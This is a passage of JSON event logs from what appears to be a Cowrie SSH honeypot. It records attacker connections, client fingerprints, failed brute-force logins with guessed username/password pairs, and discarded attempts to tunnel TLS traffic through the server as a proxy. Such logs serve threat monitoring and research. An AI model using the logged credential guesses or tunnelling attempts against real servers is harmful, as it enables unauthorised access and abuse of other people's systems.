http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fW9LQDVRTjhNeiZOSVpjKQ%3D%3DvN669%2FM2CQUhd8fnePng0qpTpaMdMMhcvkIwXjVvCPh8WhrvtcKAx4wgGmjEMA%2Fw6axxd9nV1oujqjrX3OJSWI8GrjswoN6Bjop3v2WyBC6j0sFifTnSFo1uwvDImIe8hIs0HZDOcH5JFLq6BAJj3HGHMDzFuKnAtEqxIEfePSgbDi0al338dtPZhNCd%2F105yMd1syxpLKhhPqaw5XQT3A3SNmjnnFq7Yo5YUYqLer5nnwdNmkbDrjrN9KOSkuuNimfXnwbLeuHykkKBqxTOXqmBzJ0XPKnCoBMlRY8eO4jY%2Fpb1B4zQBHiKagH9lhdQW1MzdrnxoohjSjhhFPD5ysi%2F1ik4k05iLHMqvUQOCrpgIxlEisAcKVeJi5qPsy3QJLklpTkEC4C2uxx9bfCtbgXwX82nmoCF87TWDeJvobU6v9R1h%2BJBgU%2F5eiEDjlHXzysBv7bkehfwUbdDfBVspLz2H4iNc38aVdvuj1fUNbL28lH0wfx13Q6JYLhUEVn6nzQg5zGZnSf4BuJmOO2ebAWsQK1JJ3Wg66A6OEvzr9q%2B8yV7xSAlXEF7hhXj%2BouQqlmKUYUVc3WQUYvIMWLcLMbBmX%2BlMX0GddYjKiub95R%2F4uNVu4UHYUNBaOtci%2FSNe%2Brie498YmvuBVWGv4lb5jahGUJ5nHFzxs%2FXD9tX1sO8lpUNqIHwmHi9soYW3qSeQadFlIRoRKJiH3A4zITibQReJeTGLSYP7qt7P48b1vs1CP6rfLQfVogM%2FheYXZhT%2Bzgzgy8pN22gbwl%2BspUZNqkI7lKhCihS1sjSfC4rgeA6OvQhvC5lIQr9Uhp3c%2Bb4Pd%2BPdrle4FK%2Bqy%2FW%2BTuE%2FJOwIIgSxH4kRLy5xJY09h%2B3sxYYdoT4f0xZHGbb2G0Ar0AK92y6ig3wqvhv6cD0%2BGRi38zqYNV%2Fj0dygLkWI%2BIQrdRe5a7PvPs%2FH0Q3KBY5lB4pDed8LPA8e%2FZuLsQIsW2HAJaU%2BMmz6GH7Kloz81cABLP7gcyvHgPdzJBZLABunKk%2FXkDoZ59ZFsx0sfKwHrQM%2B0Rdci6lAUOCSYAMp%2Fg%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.133070Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.136689Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde\\xd2\\xdc\\xfbO\\xe3\\x02\\xe3vP\\xcd\\xd2\\x1a\\xfe\\xe8\\x07\\xf5\\x9b\\x8f\\x1f\\xad\\xed$\\xad\\xbbv\\x96e\\xe7\\x94\\xc6\\x85 \\xebC\\x18\\xab\\xf73\\xc0\\xa1\\xea\\x8d\\xd4M6\\x08jf\\x8e\\x94\\x93(\\xd4\\xcfC\\xb3\\xf6\\x12\\x166-\\x02\\xca\\x08\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xb7!\\x95$\\x9f\\x8a\\xd4\\x83\\x95\\x8f\\xf7\\xa3\\x19\\x82\\x9fu\\xa3\\xf5y\\x93\\x80\\x97\\t]\\xb2\\xd9\\xd4\\r`\\xcex\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde\\xd2\\xdc\\xfbO\\xe3\\x02\\xe3vP\\xcd\\xd2\\x1a\\xfe\\xe8\\x07\\xf5\\x9b\\x8f\\x1f\\xad\\xed$\\xad\\xbbv\\x96e\\xe7\\x94\\xc6\\x85 \\xebC\\x18\\xab\\xf73\\xc0\\xa1\\xea\\x8d\\xd4M6\\x08jf\\x8e\\x94\\x93(\\xd4\\xcfC\\xb3\\xf6\\x12\\x166-\\x02\\xca\\x08\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 v\\xb7!\\x95$\\x9f\\x8a\\xd4\\x83\\x95\\x8f\\xf7\\xa3\\x19\\x82\\x9fu\\xa3\\xf5y\\x93\\x80\\x97\\t]\\xb2\\xd9\\xd4\\r`\\xcex\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.139850Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123qwe","message":"login attempt [mysql/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.159087Z","src_ip":"91.92.40.36","session":"6c1fab4c524d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.383707Z","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.621564Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfaK\\xbc\\xa2\\xdc\\xd5\\x1e\\x1f\\x1f.\\xf53\\x1a\\x085\\xec\\x82\\xe4\\xba n\\xe0Rs\\x9c\\xe2*\\xd1\\xf5\\xdcAz \\xd5\\xa0\\xb8\\xa5\\x96DE\\xa9\\x9eo\\x08eD\\x87J\\x16\\x85\\x8a\\x0b\\xe6\\xb4\\xf8\\xb2\\x95~<\\xbe\\\\|\\xf9\\xc3\\xf3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xadMc&\\xc5\\xf6u\\xc1\\x16\\xd6$\\x07\\x8f\\x14C\\x84\\xeb\\x1a\\xd6w\\xf7\\x91\\xcdN0\\x96\\xd3\\x0c-a\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfaK\\xbc\\xa2\\xdc\\xd5\\x1e\\x1f\\x1f.\\xf53\\x1a\\x085\\xec\\x82\\xe4\\xba n\\xe0Rs\\x9c\\xe2*\\xd1\\xf5\\xdcAz \\xd5\\xa0\\xb8\\xa5\\x96DE\\xa9\\x9eo\\x08eD\\x87J\\x16\\x85\\x8a\\x0b\\xe6\\xb4\\xf8\\xb2\\x95~<\\xbe\\\\|\\xf9\\xc3\\xf3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xadMc&\\xc5\\xf6u\\xc1\\x16\\xd6$\\x07\\x8f\\x14C\\x84\\xeb\\x1a\\xd6w\\xf7\\x91\\xcdN0\\x96\\xd3\\x0c-a\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.624711Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:19.761506Z","src_ip":"91.92.40.36","session":"ef962384b138","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:20.039272Z","src_ip":"123.27.168.40","session":"0eed71e80207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:21.478565Z","src_ip":"91.92.40.36","session":"6c1fab4c524d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":49554,"dst_ip":"159.203.135.109","dst_port":22,"session":"6760857f4dc2","protocol":"ssh","message":"New connection: 27.71.230.31:49554 (159.203.135.109:22) [session: 6760857f4dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:22.230652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:23.090485Z","src_ip":"27.71.230.31","session":"6760857f4dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:23.093883Z","src_ip":"27.71.230.31","session":"6760857f4dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"654321","message":"login attempt [guest/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:23.610697Z","src_ip":"91.92.40.36","session":"ef962384b138","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43156,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b85538543b2","protocol":"ssh","message":"New connection: 91.92.40.36:43156 (159.203.135.109:22) [session: 3b85538543b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:23.746496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:24.520010Z","src_ip":"91.92.40.36","session":"3b85538543b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:24.525775Z","src_ip":"91.92.40.36","session":"3b85538543b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:26.815347Z","src_ip":"91.92.40.36","session":"ef962384b138","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huilai","password":"huilai","message":"login attempt [huilai/huilai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:28.646650Z","src_ip":"91.92.40.36","session":"3b85538543b2","protocol":"ssh"}
